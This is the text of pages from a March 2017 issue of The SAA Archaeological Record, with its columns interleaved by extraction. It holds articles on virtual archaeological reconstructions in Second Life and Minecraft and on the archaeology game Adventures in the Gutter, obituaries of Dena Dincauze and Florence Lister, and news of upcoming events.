ARCHAEOLOGY Colleen Morgan Colleen Morgan is the Centre for Digital Heritage Postdoctoral Fellow in the Department of Archaeology at the University of York. Jagged hulks of wrecked cars, discarded soda cans, and the controversy, messiness, and the sheer lunacy of buildinggaudy signs advertising a virtual casino littered the digital virtual reconstructions in an Open World like Second Life. landscape of Çatalhöyük in Second Life. After a long sum- mer digging at the actual Çatalhöyük, we returned to the vir- Such interventions are relatively rare. Most virtual recon- tual version created by the Open Knowledge in the Public structions of archaeological sites are built within stand-alone Interest group at the University of California under the guid- software suites such as Blender or 3DStudio Max. The 3D ance of Ruth Tringham in 2007. Attention to the excavation models are then displayed with fixed, animated sequences meant time away from the virtual reconstruction, and the such as fly-throughs, or with limited interaction, such as the digital detritus left by summer visitors to the Neolithic site ability to zoom in or spin the model around. Occasionally always took a while to clean up. Once a visitor had left an these models are imported into interactive platforms, such impressive dragon snoozing on top of one of the houses, but as those created with the Unity game engine, but even these it was usually more mundane drek like empty boxes or adver- models are not within a widely accessible context. Building tisements. On good days, the avatars of visitors came to the archaeological reconstructions in an Open World provides a virtual reconstruction, investigated the buildings, filled out stark contrast to these stand-alone models; reconstructions the guest book, waded through the nearby swamp, watched in an Open World can be explored by other avatars, and, with an interpretive film or two, tried on Neolithic fashions, and the correct building permissions, houses, clothes, and arti- snapped selfies in front of the slow-moving sheep. On an facts can be modified, copied, and reused in other contexts exceptionally good day, someone reconstructed a huge ver- (Morgan 2009). Sadly, Open Worlds that are flexible enough sion of Seated Woman of Çatalhöyük (Figure 1) and left a to use for archaeological reconstructions are rare. Further, small votive offering in front of it. they can be costly to use; Second Life ultimately became too expensive to host virtual Çatalhöyük. Consequently, the But more than once we found ourselves “occupied” by hos- reconstruction ceased to exist in 2011, though we managed tile forces and dealing with pixelated garbage—evidence of very basic “rescue” virtual archaeological recording during the unauthorized use of resources and squatters. All of these its last days. Yet I continue to find using Open Worlds and were concerns that would seem more familiar and relevant popular tools to encourage interaction with archaeological to managers of heritage parks in “real life” (Finn 1997) but reconstructions compelling, and I have subsequently experi- were unforeseen and surprising to our team of digital mented with other platforms to explore the past in unex- archaeologists. Other problems such as griefing and prim pected, delightful ways. limits—restraints on the number of digital building blocks an avatar can use in a virtual space—are more unique to vir- While it is not as detailed or interactive as Second Life, many tual heritage. One year, unbeknownst to us, a user built a archaeologists use the modeling application SketchUp to vast palace high in the sky above Çatalhöyük and hosted wed- create basic reconstructions. I created a series of models dings—we only figured it out when our space for building on based on the architectural remains of the sites of Al Zubarah the island was exceeded. Finally, we had to completely lock- and Fuwairit in Qatar. These models can then be geolocated down permissions on the island to only include the team of and shared for others to remix or view in Google Earth. educators and students involved with the project at UC There is a relatively low bar for creating and uploading mod- Berkeley. It was not exactly a win for multivocality or co- els of archaeological sites for inclusion in the Google Earth construction of the archaeological past. Yet part of me liked 3D Buildings Layer, and several amateur reconstructions are 28 The SAA Archaeological Record • March 2017 VIDEO GAMES AND ARCHAEOLOGY Figure 1. Reconstruction of Seated Woman of Çatalhöyük. widely accessible. 3D Warehouse hosts several hundred Earth to explore reconstructions of many of Rome’s historic archaeology-related models and some museums and univer- buildings in place (Wells et al. 2010). Sadly, the Rome sity buildings, but also elaborate archaeological reconstruc- Reborn reconstruction is no longer available, and SketchUp tions of sites, artifacts, and people. For example, the Great and 3D Warehouse are being quickly outmoded by pho- Pyramid at Giza has over 80 models available, with multiple togrammetric reconstructions hosted on Sketchfab, another interpretations of archaeological remains presented along- repository for 3D models, so these modes of exploring geolo- side each other (Figure 2). The models are available to down- cated virtual reconstructions have become stagnant. load and to 3D print. While nowhere as interactive as a true Open World, SketchUp is relatively flexible and easy to use In my pursuit of populist modes of virtual reconstruction, I and the results can be shared widely and modified by other began to experiment with Minecraft in 2014. Guided by users. Shawn Graham’s useful tutorials, I imported a digital eleva- tion map of the Vale of Pickering, the landscape surrounding Once imported into Google Earth, SketchUp models can the Mesolithic site of Star Carr, into WorldPainter, an open- interfere with current perceptions of the landscape. Cur- source interactive graphical map generator for Minecraft rently, the archaeological remains of Fuwairit appear to be a (Figure 4). Using the program I was able to tweak the land- series of low dunes next to a beach, but in the past it was a scape to include a deciduous forest and to exclude resources thriving center for trade and pearling (Figure 3). Geolocating that would not have been part of the geological profile of the the model within Google Earth reveals the low walls and region, such as diamonds and lava. Initially, building in winding passageways next to what is now a mangrove Minecraft was not tremendously different than other recon- swamp. Similarly, though not created with SketchUp, struction projects. The benefits seemed obvious—Minecraft Frischer’s Rome Reborn project allowed users of Google allows collaborative building but also excavation-like activities March 2017 • The SAA Archaeological Record 29 VIDEO GAMES AND ARCHAEOLOGY Figure 2. Giza Pyramids on 3D Warehouse. Figure 3. Fuwairit model in SketchUp. 30 The SAA Archaeological Record • March 2017 VIDEO GAMES AND ARCHAEOLOGY Figure 4. Star Carr in Minecraft. with tools that are familiar to archaeologists such as shovels, formal virtual reconstruction created by Anthony Masinton. pickaxes, and buckets. At first the detractions were primarily “Archaeologists think that houses in the past probably looked morphological; it was fairly difficult to build round like this,” I would tell the children, pointing at Masinton’s Mesolithic houses out of Minecraft’s distinctively pixelated lovely reconstruction, “but since they’re just holes in the square blocks. Perhaps consequently, most other archaeolo- ground, we aren’t sure. Can you help us think of other ways gists using Minecraft for virtual reconstructions were build- they might have looked?” ing classical architecture, such as Palmyra. Many children rose to the challenge and peppered the land- Not content to reconstruct Star Carr as a hypothetical exer- scape with structures, some more round than others, made cise, we hosted an “Archaeology in Minecraft” event at a out of the varied materials available in the “creative” mode of series of open days in the Department of Archaeology at the Minecraft. Creative mode allows access to all of the building University of York. Hoards of children accompanied by skep- materials in the game, and moves the landscape from being tical parents were introduced to the Mesolithic landscape a struggle for survival to one that was more conducive to through the familiar world of Minecraft. This was perhaps learning about archaeological remains. Or so I thought. the first difference between using a video game and other While many of the children were content to build according modes virtual reconstruction. In contrast to Second Life, to the guidelines of the helpful archaeologists leading the which caters to an older demographic and the formal, archi- exercise, others decided to 1) dig as deeply as possible, ulti- tecture-based SketchUp, Minecraft was immediately accessi- mately trapping their avatars; 2) build great flaming towers; ble to children, and they demonstrated ownership and 3) blow up the other children’s work; and 4) create guns and authority within this familiar landscape. The outreach activ- start shooting at each other. As with Çatalhöyük in Second ity incorporated the “real life” tools of Minecraft, which Life, what we constructed and perceived as a place for learn- bridged archaeology and video games, and a video of a more ing and outreach was repurposed for alternate uses. As March 2017 • The SAA Archaeological Record 31 VIDEO GAMES AND ARCHAEOLOGY educators and archaeologists, we were not experts in these Using Second Life, SketchUp combined with Google Earth virtual worlds; I was not a regular inhabitant of Second Life or and 3D Warehouse, and Minecraft for virtual archaeological Minecraft and it took some time to understand local, in-game reconstructions is an interventionist strategy for the presen- modes of communication and mores. Yet again this lack of tation of digital heritage. Rather than creating isolated, authority in transmitting archaeological interpretations was stand-alone models with limited interaction, archaeologists exhilarating. I was astonished at how quickly children co- could be sneaking artifacts and interpretations into common opted our mundane archaeological reconstruction for arcane virtual landscapes. To this end, many video games have purposes. Minecraft, a video game that we arguably made extensive “modding” communities wherein players create into “chocolate-covered broccoli”—a derogatory term used unique content to share with others. While others have for educational games, was once again turned into a game explored virtual landscapes as archaeologists, relatively few where children were in charge, and there was little we could have explored the affordances of making archaeological do but watch them build and destroy. reconstructions as creative interventions. Release 3D models into the world of play, and you may find yourself surprised, Later, after the digital dust had settled, I was able to explore confused, and delighted at the virtual use-lives of archaeolog- the landscape and found myself again in the position of a vir- ical remains. tual heritage warden, surveying the remains of popular inter- ventions on an archaeological reconstruction. The video game venue encouraged a playful interaction with place, References Cited wherein archaeological landscapes were not cordoned off or Finn, Christine static products of a single authoritative voice but places to 1997 “Leaving More than Footprints”: Modern Votive Offerings host your own interpretation. Virtual archaeological recon- at Chaco Canyon Prehistoric site. Antiquity 71(271):169–178. structions are too often modeled on a static museum exhibi- Morgan, Colleen tion framework when they could be places of collective 2009 (Re)Building Çatalhöyük: Changing Virtual Reality in interpretation, experimentation, and play. Seeking out soft- Archaeology. Archaeologies 5(3):468–487. ware and tools to produce photorealistic models can severely Wells, Sarah, Bernard Frischer, Doug Ross, and Chad Keller limit collaboration and other affordances that ultimately may 2010 Rome Reborn in Google Earth. In Making History Interac- be more important for an interactive experience. Further, tive: 37th Proceedings of the CAA Conference, pp. 373–379. placing models in Open Worlds and popular venues brings Archaeopress, Oxford archaeological reconstructions into the commons, where people can interact with the models on their own terms, rather than as a video of a photorealistic fly-through. 32 The SAA Archaeological Record • March 2017 VIDEO GAMES AND ARCHAEOLOGY ADVENTURES IN ARCHAEOLOGICAL GAME CREATION Tara Copplestone Tara Copplestone is a PhD student in the Centre for Digital Heritage at the University of York and Aarhus University. Video games, like the spoken word, books, photos, and tive; has reference to the specific affordances of player interac-movies that preceded them, are a form of media. tion and agency; and interpolates with the data, frameworks,Each media form has specific affordances, derived and interpretations of the content being included. from the nature of the medium itself, which act to shape the way in which content can be thought about, structured, Archaeology is one such subject area in which the video engaged with, and presented (Gibson 2014). This power to game medium might be used for research or representation. shape content means that the medium, far from being a The systems-based aspect of the video game medium has passive receptacle for the message that the creator is trying possible implementations for archaeological simulation or to convey, becomes intrinsically and recursively bound to environment exploration under a wide array of archaeologi- the message (McLuhan 1994). To this end it has been said cal paradigms. However, the potential of the medium may that “the medium is the message” (McLuhan 1994). This prove to be especially meaningful for those working with entwining between the medium and the message goes a paradigms, such as post-processualism, that value aspects of stage further, with the creative practitioners and their tools, multivocality, nonlinearity, co-creation (with the players), platforms, and methods being recursively tied into the medi- and player agency given that these elements are afforded in um and the manner in which the message can manifest. the inherent structure of the medium and thus can manifest natively (Copplestone 2014). Video games are a form of new media, whose novel affor- dances facilitate active participation and agency through player Given this potential of the video game medium it is perhaps interaction with both content and digital systems, thus provid- unsurprising that archaeologists—such as Reinhard (2013), ing the player with the ability to direct or alter the course and Graham (2015), and Dennis (2015) to name but a few—have outcome of the game (within parameters set or procedurally been taking an increasing interest in how video game cre- generated by the developers of the game) as it progresses (Cop- ators have represented the content of archaeology through plestone 2014). This potential for co-creation and codepen- audio, visual, and inferred code systems in games such as dency between the player and the creator requires unique ways World of Warcraft, Tomb Raider, Uncharted, Minecraft, and of crafting, structuring, and deploying content via digital sys- Destiny. Other archaeologists, such as Johnson (2013), have tems and structures. In the process of crafting a video game the honed in on the role of the players and their relationship, creator can leverage and mold content through audio, visuali- understanding, and interactions with the archaeological con- zation (2D and 3D), narrative (explicitly via written elements tent displayed in video games such as Skyrim, while others, and dialogue, or implicitly via environmental and interaction such as Morgan (2012) and Giles et al. (2012), have modified based storytelling), and systems (through engine code or front- games already in existence or built their own games from end control scripts) in any multitude of ways that span a focus scratch using engines such as Twine or Unity as a way to por- on an individual element, realistic simulation, conceptual sim- tray and engage with the practices and processes of creating ulation, or abstract interactions (Chapman 2013). These out- games or modifications to games. comes are bound by the hardware, software, skills, and methods that the creator has at his or her disposal. Thus the act While practitioners within the archaeological discipline have of creating video games requires the developer to engage with begun to engage in creating their own outcomes, the prac- content in ways that reference the technical limits of the tices of knowledge sharing or co-creation between developers medium; leverages methods in coding, art, audio, and narra- from the video game industry and archaeologists is not yet March 2017 • The SAA Archaeological Record 33 VIDEO GAMES AND ARCHAEOLOGY Figure 1. Start screen for Adventures in the Gutter. common. My MSc research demonstrated that the result of game industry), Daniel Dunne (interactive fiction designer, this disjuncture is that many of the video games about writer, and PhD student), Andrew Reinhard (archaeologist archaeology produced by the video game industry include and musician), and myself (archaeologist and digital tin- potentially problematic representations of the past (Copple- kerer) for the “Adventure Jam” competition. Daniel produced stone 2014). In addition to this it was demonstrated that the narrative script for the game (4,452 words), Andrew com- many of the video games produced by the archaeological dis- posed and recorded the music loops (4 × 30 second loops), cipline do not effectively leverage the inherent affordances of Luke created the main code (5,426 lines), and I produced the the video game medium. As such, this brief article will build artwork (10 comic strips plus interactive objects), narrated on the issues identified through my MSc by asking what we the script, and produced part of the additional front-end can learn—about archaeology, media, and the process of code. Luke and I were responsible for the concept genera- knowledge formation—from the practice of creating video tion, system design, and management of the team over the games about archaeology alongside other creative industry course of production. practitioners. To this end, it will briefly overview Adventures in the Gutter—a game created by a team of archaeologists, game The game, which was created in the Unity 3D engine (using designers, and writers as part of a game jam—and posit, both C# and JavaScript), uses a comic strip as its basis and through self-reflection, how the video game media form and gets the player to enter into the spaces between the comic the practice of creating through it might influence how panels, called “the gutters,” to make decisions and direct how archaeological interpretation and communication can be con- the action unfolds between two known points—thus inviting ceptualized, structured, and subsequently engaged with. the player to take on the role that archaeologists tend to have during the interpretive process, mediating and discussing outcomes, meanings, and narratives based upon data Introduction to the Case Study— gleaned from entities such as artifacts, samples, or land- Adventures in the Gutter scapes (see Figure 2). In AitG we tried to take this a step fur- Adventures in the Gutter (AitG) (Figure 1) was created over the ther, bringing the archaeologists themselves into focus, course of a week by Luke Botham (level designer in the video highlighting the role they have as interpreters, crafters, 34 The SAA Archaeological Record • March 2017 VIDEO GAMES AND ARCHAEOLOGY Figure 2. About Adventures in the Gutter—how we introduced our player to the relationship between the game mechanics and archaeology. scientists, and people in the wider archaeological process by secondly, to reflect on how the different elements of the cre- getting the player to enact these choices. Once you have ative practice for such a video game (the creation of art, code, played through a “gutter,” the comic changes form to show and audio) differed, challenged, or reinforced traditional your choice and its repercussions. One completed run models of knowledge generation, categorization, or expres- through of the game can be seen below in Figure 3. sion. While the content of the game was fictional, the processes, people, places, and objects were taken from To this end you play as two archaeologists—one based out of archaeological method, theory, and practice. the British Museum with a focus on excavation planning and interpretation while the other archaeologist is based in the field providing commentary from the trowel’s edge. You can Discussion see the character sketches for these two in Figure 4. The act of designing and developing AiTG in a multidiscipli- nary team provided a reflexive space where we could explore The voice-over is conducted as a third-party narration that the relationship between the video game medium and interpolates between the two archaeologists, while the archaeological narratives in relation to our (often divergent) player’s interactions direct how this narrative can unfold. creative and knowledge formation practices. Playing the game multiple times in multiple ways will pro- vide different outcomes, interpretations, and dialogue. The Working alongside a writer and a programmer who had lim- overall goal of the game was twofold: firstly, to investigate ited exposure to academic or fieldwork archaeology meant how creating branching, interactive narratives challenges the investigating how and why the practices, outputs, and inter- traditional methods of writing archaeological accounts; and pretations we take for granted occur before probing how else March 2017 • The SAA Archaeological Record 35 VIDEO GAMES AND ARCHAEOLOGY 36 The SAA Archaeological Record • March 2017 VIDEO GAMES AND ARCHAEOLOGY Figure 3. One completed run through of Adventures in the Gutter—many further permutations are possible based upon how the player navigates and influences the story. March 2017 • The SAA Archaeological Record 37 VIDEO GAMES AND ARCHAEOLOGY we might choose to represent or engage with them through it feel to be there and interact in that way) and subsequently the video game medium. Throughout the process of design- work to translate them, through mechanics, audio, and visu- ing the code, Luke and myself would often have conversa- als into an experience for the player. Here the unique inter- tions that boiled down to “but that’s not how we talk or write play between creator and player afforded by the video game X in archaeology” and “but that’s not how X works in medium became evident. In traditional text-based accounts games”—where X could relate to interpretation, agency, the writer tends to present one linear account and as such, processes, or understandings. Further discussions between the consumer of the text is a passive recipient of the informa- the coding team, the archaeologists, and our narrative tion rather than an active participant or co- designer often examined the distinction between “how we constructor of the account. In video write narratives about the archaeological past as archaeol- games the consumer, through ogists,” “how archaeological narrative might be con- agency and interaction, can structed by a narrative designer,” and “how either of take a far more active role, these might translate into a video game.” The more experiencing and potentially we discussed why these disparities occurred, the co-creating alongside the nar- more we came to understand that our practices, rator. To this end, as you craft theories, and interpretations have been influ- the audio, visuals, and narra- enced by the mediums and creative prac- tive, you are asked to think not tices that we are embedded just about what happened and into—translating archaeology into how to represent it, but why it the content and narrative of a happened, how else it might video game—and translating have happened, how interpreta- the traditional creative prac- tion occurred, where the agency tices of video games and narra- and interactions happened, tive design for use with what the experience would be, archaeology was not going to and how you, as a creator now, work from one isolated frame- can translate that (through sim- work alone. Of particular inter- ulation or abstraction) into the est in this discussion was the video game medium and how issue that many of the frame- your player will be able to inter- works we use in archaeology to act and alter those entities. discuss entities such as multi- Thus, our role in archaeological vocality, multi-linearity, and Figure 4. Initial character sketches for Adventures in the Gutter—each interpretation and communica- agency are manifest through stage required thought on how and why we were going to represent par- tion in creating AiTG, was not mediums that do not inher- ticular characters in particular ways. about telling but rather more ently support these features about facilitating. To this end, (an issue that Hodder [1999] the practice of creating through has previously discussed). Working with the video game the video game medium, as part of an interdisciplinary team, media form, alongside practitioners from the industry, high- provided a reflexive and novel approach to archaeological lighted that directly translating the medium-bound accounts knowledge formation, interpretation, and communication. of traditional archaeology into a form that has different affor- dances is problematic and potentially does not leverage the medium to its potential. The medium, to reiterate, is the mes- Conclusions sage, but the use of the medium is shaped by the frameworks, Working with practitioners from outside the archaeological practices, and tools of the practitioners crafting through it. discipline meant examining the structures for knowledge formation, interpretation, and communication that are As we crafted AiTG the team became aware of how the struc- embedded into and indeed structured by the media forms ture of the medium was asking us to explore not only the that have traditionally been used as part of the archaeological questions of reconstruction (what would it have looked or practice. To this end the act of creating video games was an sounded like?) but also to explore more ephemeral and intan- important, reflexive exercise in how knowledge is, could, or gible areas (how would that decision be made? What would should be interpreted and communicated in the archaeolog- the experience and outcome of that decision be? How would ical discipline (Copplestone 2014). 38 The SAA Archaeological Record • March 2017 VIDEO GAMES AND ARCHAEOLOGY Creating AitG was also an exercise in exploring how the tra- Dennis, L. Megan ditional practices of video game development reinforce par- 2015 Levelling Up towards a Better Representation of Archaeol- ticular views of archaeology through the tools, methods, and ogy in Video Games. Paper presented at the 3rd Annual Stu- normative system implementations leveraged in conjunc- dent Archaeology Conference, June 2015, Edinburgh. tion with the video game media form, thus feeding back into Gibson, James J. the current research being carried out by archaeologists 2014 The Theory of Affordances. In The People, Place, and Space regarding the rendering of archaeological content in exter- Reader, edited by Jen Jack Gieseking, William Mangold, Cindi nally produced video games. By working alongside a game Katz, Setha Low, and Susan Saegert, pp. 56–60. Routledge, London. development professional we were able to reflexively identify Giles, Kate, Anthony Masinton, and Geoff Arnott how our practices and frameworks interpolated with the 2012 Visualising the Guild Chapel, Stratford-upon-Avon: Digital Models as Research Tools in Buildings Archaeology. Internet video game media form and subsequently discuss how we Archaeology (32). Electronic document, doi:10.11141/ia.32.1, might otherwise implement alternative practices. accessed September 23, 2016. Graham, Shawn In conclusion, video games offer multiple novel ways 2015 Somewhere in the Desert . . . Electric Archaeology: Digital through which to explore archaeology, its practitioners, Media for Learning and Research. Electric Archaeology. Electron- frameworks, and outcomes. These benefits range from the ic document, http://electricarchaeology.ca/2015/03/06/some- analysis of content in postproduction, the analysis of player where-in-the-desert/, accessed September 23, 2016. reception, the construction of our own games to fulfil an out- Hodder, Ian come requirement, or, as was demonstrated here, as a reflex- 1999 The Archaeological Process: An Introduction. Blackwell Pub- ive exercise that questions, through making explicit the lishers, Malden, Massachusetts. relationship with the medium via creation, how archaeology Johnson, Emily is mediated, constructed, engaged, and presented. 2013 Experienced Archaeologies: A Mini-Ethnography Exploring the Way in which People Engage with the Past in Single Player Role-Playing Video Games. Master’s thesis, University of York. Note United Kingdom. You can play Adventures in the Gutter here: McLuhan, Marshall http://gamejolt.com/games/adventures-in-the-gutter/60477 1994 Understanding Media: The Extensions of Man. MIT Press, and read about the development here: http://adventuresinthe Cambridge, Massachusetts. gutter.tumblr.com/. Morgan, Colleen L. 2012 Emancipatory Digital Archaeology. PhD dissertation, Uni- versity of California, Berkeley. References Cited Reinhard, Andrew 2013 What is Archaeogaming? Archaeogaming. Electronic docu- Chapman, Adam ment, https://archaeogaming.com/2013/06/09/what-is- 2013 The Great Game of History: An Analytical Approach To archaeogaming/, accessed September 23, 2016. and Analysis of the Videogame as a Historical Form. Doctoral thesis, University of Hull, United Kingdom. Copplestone, Tara 2014 Playing With the Past: The Potentials and Pitfalls of Video- Games For and About Cultural-Heritage. Master’s thesis, Uni- versity of York, United Kingdom. March 2017 • The SAA Archaeological Record 39 IN MEMORIAM DENA FERRAN DINCAUZE 1934–2016 Dena Ferran Dincauze, the late twentieth century’s pre- Dena joined the faculty at UMass not long after her mentoreminent scholar of northeastern North American Richard Woodbury became the first chair of the recently inde-archaeology, died on August 14, 2016, in Amherst, pendent Department of Anthropology. On the basis of a series Massachusetts, from complications following a long illness. of influential publications on New England archaeology, Dena She was 82. Dena was the editor of the Society for American was promoted to full professor in 1985. She received the Archaeology’s flagship journal, American Antiquity, from 1981 UMass Chancellor’s Medal in 1989 for her exemplary and to 1984, president of the SAA from 1987 to 1989, and a faculty extraordinary service to the university. On the occasion of her member in the Department of Anthropology at the University retirement in 2000, several of her graduate students compiled of Massachusetts Amherst from 1973 a festschrift, The Archaeological Northeast until her retirement in 2000. Her distin- (Levine et al. 1999), to acknowledge her guished career was marked by a steadfast influence on their work and on the commitment to moving the Northeast archaeology of precontact New England. out of the margins and into the center of Dena was tireless in her dedication to archaeological inquiry; an indefatigable graduate and undergraduate teaching devotion to governance at the state, and mentoring. She chaired dozens of regional, and national levels; and a pro- doctoral and master’s students’ commit- found dedication to the professional tees and advised hundreds more, includ- development of her graduate students. ing avocational archaeologists. Dena’s advisees have gone on to make impor- Dena was born on March 26, 1934, in tant contributions to the field in both Boston and despite her extensive travels scholarship and service. Her excitement was a lifelong New Englander. Dena about the wonders of prehistory—and spent her formative years in Concord, her willingness to share that excite- Massachusetts, and graduated magna ment—was the key to her effectiveness cum laude from Barnard College in as a scholar, teacher, and exceptional 1956. While an undergraduate in New archaeologist. Her legacy will live on for York, she benefited from the tutelage and many years to come through her intellec- mentorship of Nathalie and Richard tual progeny. Woodbury with whom she remained per- sonally and professionally close for the Dena’s numerous publications and pre- rest of her career. She went into the field sentations have made important contri- for the first time in 1955 as a member of butions to the precontact Native history the River Basin Surveys Program in of eastern North America, environmen- South Dakota when the team was shorthanded. When she tal archaeology, Paleoindian research, materials analysis of inquired about returning on the project for a second year, her ceramics and lithics, and cultural resource management. She application was rejected on the grounds that women were held herself and her students to the highest standards and her interested in joining field crews only to seduce men. Dena carefully constructed arguments were always elegantly articu- shared the rejection letter with faculty and friends and lated. Just a few of her major works include Cremation Ceme- “burned it ignominiously in a mock witches’ sabbath” (Din- teries in Eastern Massachusetts (1968), The Neville Site: 8,000 cauze 1992:131). Dena persevered and earned a diploma in Years at Amoskeag, Manchester, New Hampshire (1976), and prehistoric archaeology with distinction from Cambridge Environmental Archaeology: Principles and Practice (2000). University in 1957 and a PhD from Harvard University in 1967 for her analysis of cremation cemeteries in eastern Mas- In addition to making substantial scholarly contributions, sachusetts. For the next five years she held various staff posi- Dena’s professional profile exhibits a high level of engage- tions at Harvard’s Peabody Museum including Research ment with professional service, especially to the Society for Fellow in New England Archaeology and Assistant Curator of American Archaeology. Dena calculated that during her term North American Archaeology. After teaching for one year at as editor for American Antiquity, she received 640 manuscripts the State University College at Buffalo, she joined the faculty and selected about one-third for publication, which resulted in at the University of Massachusetts at Amherst in 1973. her editing and preparing for press 6,780 manuscript pages 40 The SAA Archaeological Record • March 2017 (Dincauze 1985:217). She served as the third woman presi- References Cited dent of the SAA but proudly pointed out that she was the Soci- Dincauze, Dena F. ety’s first presidential mother and grandmother (Dincauze 1968 Cremation Cemeteries in Eastern Massachusetts. Papers of the 1992:132). She also chaired three SAA committees, including Peabody Museum 59(1). Peabody Museum, Cambridge, Massa- the Committee on Public Archaeology, and was particularly chusetts. supportive of the Committee on the Status of Women in 1976 The Neville Site: 8,000 Years at Amoskeag, Manchester, New Archaeology. For all of these contributions and more, she Hampshire. Peabody Museum Monographs No. 4. Peabody received the SAA’s Distinguished Service Award in 1997. She Museum, Harvard University, Cambridge, Massachusetts. held a number of other high-level professional services posi- 1985 Report of the Editor. American Antiquity 50:217–218. tions in her career, including president of the Society for Pro- 1992 Exploring Career Styles in Archaeology. In Rediscovering Our fessional Archaeologists (1984–1985) and executive board Past: Essays on the History of American Archaeology, edited by member of the American Society for Conservation Archaeol- Jonathan E. Reyman, pp. 131–136. Averbury, Aldershot. ogy (1977–1979). Dena’s service to the field of archaeology 2000 Environmental Archaeology: Principles and Practice. Cam- extended far beyond the walls of the university and the profes- bridge University Press, Cambridge. sion. She served as the editor of the Bulletin of the Massachu- Levine, Mary Ann, Kenneth Sassaman, and Michael Nassaney (edi- setts Archaeological Society (MAS) from 1975–1980 and as the tors) MAS representative to the Massachusetts Historical Commis- 1999 The Archaeological Northeast. Bergin & Garvey Press, West- sion from 1978–1989. She was recognized by the Massachu- port, Connecticut. setts Historical Commission in 2001 with their Lifetime Achievement Award for contributions to cultural resources management. —Mary Ann Levine, Franklin and Marshall College, and Eliza- beth Chilton, University of Massachusetts Amherst Dena was known for her strong character yet quiet demeanor. Although not a physically imposing person, Dena carried her- self in such a way that commanded the respect of those who came into her presence. She spoke as she wrote, each word carefully chosen and every sentence carrying significant meaning. Her friend and colleague Alice Kehoe described her best when she observed that Dena had a characteristic stance of steel encased in silk. Dena is survived by her daughter, Jacqueline; son, Eric; four siblings; and two grandchildren. March 2017 • The SAA Archaeological Record 41 IN MEMORIAM FLORENCE CLINE LISTER 1920–2016 Florence Lister died at her home in Mancos, Colorado, increasingly well-informed general public. Bob took the leadon September 4, 2016, at age 96. She is survived by on coauthored books such as Chaco Canyon Archaeology andsons Frank of Mancos and Gary of Estes Park, Col- Archaeologists (1981) and Those Who Came Before: Southwestern orado. Despite declining vision and mobility in her last few Archaeology in the National Park System (1983). years, her interests in writing and lecturing about archaeology remained strong; her last public presentation was at the Crow The Listers retired to Mancos in 1988 and immediately began Canyon Archaeological Center in October 2015, and she has a leading educational tours for the Crow Canyon Archaeological submitted manuscript awaiting publication. Center in Cortez, Colorado. In 1990, Bob died suddenly while leading a group of friends to visit a remote cliff dwelling in Born in Idaho, Florence grew up in California. In 1937, her Utah. After coming to terms with the loss, Florence father returned from a trip to New Mexico regrouped and continued to write and to lead with a tale of an earthenware pot unearthed programs for Crow Canyon and other organi- by friends. This sparked her desire to learn zations. On Chaco Canyon trips, she often about archaeology, which in 1939 led to a partnered with R. Gwinn Vivian (now retired move to the University of New Mexico to com- from the Arizona State Museum). They had plete a BA in anthropology. met on that 1940 Chaco field school, when she was a student and he was the young child of At the UNM Chaco Canyon field school in park archaeologist Gordon Vivian. 1940, she met Robert (Bob) H. Lister. They were married in 1942. After military service in The 1990s and early 2000s saw a stream of World War II, Bob received a PhD at Harvard publications, most oriented toward the gen- and joined the Univeristy of Colorado faculty. eral public and taking a historical approach. Florence became an unpaid pottery analyst on This encouraged readers to identify with the projects in western Colorado and Mexico, and archaeologists as individuals and their work as also often cooked for the field crews. Work in northern Mex- attempts to solve interesting puzzles. In addition to books on ico inspired her and Bob to write Chihuahua: Storehouse of the Chimney Rock and Durango areas, she published her Storms (1966) with Florence as lead author. encyclopedic yet eminently readable volume on the first cen- tury of Mesa Verde archaeology—Troweling Through Time In the late 1950s and early 1960s, she was employed season- (2004). ally to analyze pottery from the University of Utah Glen Canyon Project work, and also for the Coombs site excava- Florence Lister was a remarkable scholar, friend, and col- tions directed by Bob at Boulder, Utah. This resulted in her league, whose indefatigable engagement with both the past monograph Kaiparowits Plateau and Glen Canyon Archaeology: and the present is best represented in her autobiography Pot An Interpretation Based on Ceramics (1964). Luck: Adventures in Archaeology (1997). Memorial donations may be made to the Florence C. and Robert H. Lister Fellow- After a stint in Nubia on the Aswan Dan “salvage” project, the ship at the Crow Canyon Center, 23390 Road K, Cortez, CO “Lister team” moved into historical archaeology in the late 81321. The fellowship assists graduate students in the final 1960s, with a focus on the widespread production and distri- stages of writing a dissertation. bution of the tin-glazed earthenware called maiolica. This resulted in visits to colonial period collections in Mexico, Florence Lister’s full bibliography can be found at the SAA web- North Africa, and Europe, and a series of publications, most site (http://www.saa.org/Portals/0/Lister%20Bibliography.pdf). with Florence as the first author. One of their most frequently cited works is A Descriptive Dictionary for 500 Years of Spanish- —Bill Lipe, Washington State University Tradition Ceramics (1976). The Listers also recognized the need for publications provid- ing accurate information about archaeology for a growing and 42 The SAA Archaeological Record • March 2017 NEWS & NOTES The Pre-Columbian Society of room in Rogers, Arkansas, at a place to mwac/index.htm. Payment may be madeWashington, DC will host its 24th be determined. The field exercises will by credit card through the Friends ofannual symposium, “The Pre- take place at the Pea Ridge National Mili- NCPTT for nongovernment employees. Columbian Heritage of the National Park tary Park. The park commemorates the Federal employees may pay through a System,” on Saturday, September 16, March 7–8, 1862, Civil War battle training form (SF-182) sent to the Mid- 2017, at the U.S. Navy Memorial and between Federal and Confederate troops west Archeological Center or by credit Naval Heritage Center, Washington, DC in northwestern Arkansas. The resulting card through the Friends of NCPTT Scholars will examine current and past Federal victory kept the State of Missouri (NCPTT web page announcement). For archaeological investigations at park sites in the Union. Co-sponsors for the work- further information, please contact throughout the United States, with par- shop include the National Park Service’s Steven L. DeVore, Archeologist, National ticular emphasis on the Southwest, Midwest Archeological Center, Pea Ridge Park Service, Midwest Archeological Southeast, and Midwest. For registration National Military Park, and the National Center, Federal Building, Room 474, 100 information as of May 2017, see the PCS Center for Preservation Technology and Centennial Mall North, Lincoln, Nebras- website, www.pcswdc.org. Training, as well as the Arkansas Archae- ka 68508-3873; tel: (402) 437-5392, ext. ological Survey This will be the twenty- 141; fax: (402) 437-5098; e-mail: seventh year of the workshop dedicated . National Park Service’s 2017 to the use of geophysical, aerial photogra- Archaeological Prospection Workshop phy, and other remote sensing methods The National Park Service’s 2017 as they apply to the identification, evalua-workshop on archaeological tion, conservation, and protection ofprospection techniques entitled archaeological resources across this “Current Archeological Prospection nation. The workshop will present lec- Advances for Non-destructive Investiga- tures on the theory of operation, method- tions of the Pea Ridge Civil War Battle- ology, processing, and interpretation with field” will be held May 15–19, 2017, at the hands-on use of the equipment in the Pea Ridge National Military Park in Ben- field. There is a registration charge of ton County, Arkansas. Lodging will be in $475.00. Application forms are available Roger, Arkansas, at a motel to be deter- on the Midwest Archeological Center’s mined. The lectures will be at a meeting web page at https://www.nps.gov/ SAA is looking 